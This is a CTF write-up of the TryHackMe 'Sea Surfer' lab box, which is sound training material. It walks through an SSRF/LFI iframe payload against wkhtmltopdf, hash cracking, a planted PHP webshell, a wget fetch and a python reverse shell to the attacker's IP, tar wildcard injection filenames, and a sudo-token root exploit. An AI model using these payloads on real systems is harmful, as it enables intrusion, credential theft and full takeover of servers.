CTF : Sea Surfer

CTF Sea Surfer writeup. Source THM. Announced difficulty level: Hard

Posted by Boula-Bytes on 19 June 2022

CTF : Sea Surfer

Informations

  • IP: 10.10.39.15
  • MYIP: 10.8.98.126

First enumeration

Basics

  • NMAP
console
sudo nmap -p22,80 -A 10.10.39.15 Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-19 21:17 CEST Nmap scan report for 10.10.39.15 Host is up (0.040s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 87:e3:d4:32:cd:51:d2:96:70:ef:5f:48:22:50:ab:67 (RSA) | 256 27:d1:37:b0:c5:3c:b5:81:6a:7c:36:8a:2b:63:9a:b9 (ECDSA) |_ 256 7f:13:1b:cf:e6:45:51:b9:09:43:9a:23:2f:50:3c:94 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 36.35 ms 10.8.0.1 2 36.66 ms 10.10.39.15 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds
HTTP/1.1 200 OK
Date: Sun, 19 Jun 2022 19:33:34 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Sun, 17 Apr 2022 18:54:09 GMT
ETag: "2aa6-5dcde2b3f2ff9-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
X-Backend-Server: seasurfer.thm
Content-Length: 10918
Connection: close
Content-Type: text/html

Visibly the server respond to seasurfer.thm, so I add this to my /etc/hosts :

10.10.39.15 seasurfer.thm

And now I got this :

console
$ sudo nmap -p22,80 -A 10.10.39.15 Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-19 21:36 CEST Nmap scan report for seasurfer.thm (10.10.39.15) Host is up (0.045s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 87:e3:d4:32:cd:51:d2:96:70:ef:5f:48:22:50:ab:67 (RSA) | 256 27:d1:37:b0:c5:3c:b5:81:6a:7c:36:8a:2b:63:9a:b9 (ECDSA) |_ 256 7f:13:1b:cf:e6:45:51:b9:09:43:9a:23:2f:50:3c:94 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Sea Surfer – Ride the Wave! |_http-generator: WordPress 5.9.3 |_http-trane-info: Problem with XML parsing of /evox/about Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 37.16 ms 10.8.0.1 2 37.61 ms seasurfer.thm (10.10.39.15) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 23.62 seconds
console
$ gobuster dir -f -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://seasurfer.thm/ -x cgi,html,txt,js,php,php.bak,bak,zip,sql,sql.bak,tgz,tar.gz,bkp,tar,rar,id_rsa,log,xml,json,sh,py,pl,rb,csv,pub,jar =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://seasurfer.thm/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: tgz,tar,id_rsa,log,js,php.bak,bak,zip,sh,csv,jar,bkp,rar,json,pl,php,xml,py,pub,sql.bak,tar.gz,rb,cgi,html,txt,sql [+] Add Slash: true [+] Follow Redirect: true [+] Timeout: 10s =============================================================== 2022/06/20 21:09:12 Starting gobuster in directory enumeration mode =============================================================== [...] /adminer/ (Status: 200) [...]

Well, we find an adminer instance but no clue on how to log in...

Reading comments leads to this one :

"dude what was the site again where u could create receipts for customers? the computer is saying cant connect to intrenal.seasurfer.thm"

So I added this host name to my /etc/hosts too.

Here we go ! http://internal.seasurfer.thm/

Vulnerabilities search

I intercepted the post request via burp. I try it via sqlmap and commix... but nothing

By reading a pdf properties I found that the site use Wkhtmltopdf

Then read this blog post : http://hassankhanyusufzai.com/SSRF-to-LFI/

Exploit

So, I needed to create a php file, I called it test.php :

php
<?php header('location:file://'.$_REQUEST['url']); ?>

Now, we need to expose this file through a php + http server.

I decide to use docker to do this task.

I first create a Dockerfile :

FROM php:8.0-apache

WORKDIR /var/www/html



COPY test.php test.php

#COPY src/ src

EXPOSE 8000

Then run it :

console
docker build -t myphpserver . docker run -d -p 8000:80 myphpserver:latest

Now I go to internal.seasurfer.thm and in the name field of the form I put this payload :

html
><iframe height="2000" width="800" src=http://10.8.98.126:8000/test.php?url=%2fetc%2fpasswd></iframe>

Here it is. The generated pdf contains passwd file :) .

Now we have to find a file that contains cool informations :

html
><iframe height="2000" width="800" src=http://10.8.98.126:8000/test.php?url=/var/www/wordpress/wp-config.php></iframe>
php
// ** Database settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** Database username */ define( 'DB_USER', 'wordpressuser' ); /** Database password */ define( 'DB_PASSWORD', '*******' );

Ok :)

Now I browse http://seasurfer.thm/adminer, I used the wp creds; view wp_users table and extract kyle's password.

Then I launch hashcat to crack it.

console
$ hashcat -O -m 400 -a 0 -o cracked.txt hash.txt rockyou.txt hashcat (v6.2.5) starting Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 39 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Optimizers applied: * Optimized-Kernel * Zero-Byte * Single-Hash * Single-Salt Watchdog: Temperature abort trigger set to 90c Host memory required for this attack: 1464 MB Dictionary cache built: * Filename..: rockyou.txt * Passwords.: 14344392 * Bytes.....: 139921507 * Keyspace..: 14344385 * Runtime...: 1 sec Session..........: hashcat Status...........: Cracked Hash.Mode........: 400 (phpass) Hash.Target......: $P$BuCryp52DAdCRIcLrT9vrFNb0vPcyi/ Time.Started.....: Mon Jun 20 21:19:44 2022 (1 sec) Time.Estimated...: Mon Jun 20 21:19:45 2022 (0 secs) Kernel.Feature...: Optimized Kernel Guess.Base.......: File (rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 1306.2 kH/s (8.79ms) @ Accel:128 Loops:1024 Thr:32 Vec:1 Recovered........: 1/1 (100.00%) Digests Progress.........: 565253/14344385 (3.94%) Rejected.........: 5/565253 (0.00%) Restore.Point....: 376833/14344385 (2.63%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:7168-8192 Candidate.Engine.: Device Generator Candidates.#1....: 148600 -> yanay Hardware.Mon.#1..: Temp: 63c Fan: 0% Util: 37% Core:1920MHz Mem:6800MHz Bus:16 Started: Mon Jun 20 21:19:40 2022 Stopped: Mon Jun 20 21:19:45 2022
console
$ cat cracked.txt $P$BuCryp52DAdCRIcLrT9vrFNb0vPcyi/:******

But this not enough to get shell on this box. Ssh only accepts pubkey auth method.

So basicaly. I need to insert php code on a blog post to add a parameter which let me run a command.

First I log into wordpress using kyle credentials.

Then I download "php everywhere" plugin and installed it.

I insert this code into "About" page :

php
<?php system($_GET['cmd'])?>

I just need to execute a reverse shell command. So, I prepared a reverse shell file called shell.php.

http://seasurfer.thm?cmd=wget http://10.8.98.126:8000/shell.php

With this command I could upload a reverse shell to the box and I triggered it by :

console
$ curl http://seasurfer.thm/shell.php

And I got a shell :)

Privilege escalation

Enumeration for privesc 1

I first need privesc to kyle. In /var/www/internal/maintenance/ there is a file called backup.sh. Visibly exectuted every minute... ;) .

shell
#!/bin/bash # Brandon complained about losing _one_ receipt when we had 5 minutes of downtime, set this to run every minute now >:D # Still need to come up with a better backup system, perhaps a cloud provider? cd /var/www/internal/invoices tar -zcf /home/kyle/backups/invoices.tgz *

Exploit 1

We can abuse the wildcard here. So go to /var/www/internal/invoices And create a script file :

shell
#!/bin/bash /usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.98.126",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Then we have to create two files :

console
echo "" > "--checkpoint-action=exec=sh toto.sh" echo "" > --checkpoint=1

And wait for a minute...

And we got a shell for kyle :)

Now we can read user.txt file !

I added my ssh public key to authorized_keys file to be able to ssh into the box.

Enumeration for privesc 2

console
$ id uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev)

After a looooong time searching I use linpeas to help me a little...

console
Checking sudo tokens https://book.hacktricks.xyz/linux-unix/privilege-escalation#reusing-sudo-tokens ptrace protection is disabled (0) gdb wasn't found in PATH, this might still be vulnerable but linpeas won't be able to check it

Ok...I read this doc and then I followed a link to a github.

Exploit 2

So first, I uploaded the github repo to the box.

Then I needed a gdb version for ubuntu 20.04. I downloaded the deb file extract content, and upload it to the box.

console
$ export PATH="/home/kyle/gdb:$PATH" $ cd sudo_inject/ $ sh exploit.sh $ sudo -i root@seasurfer:~#

Here we go :

console
# cat /root/root.txt THM{XXXXX}

\o/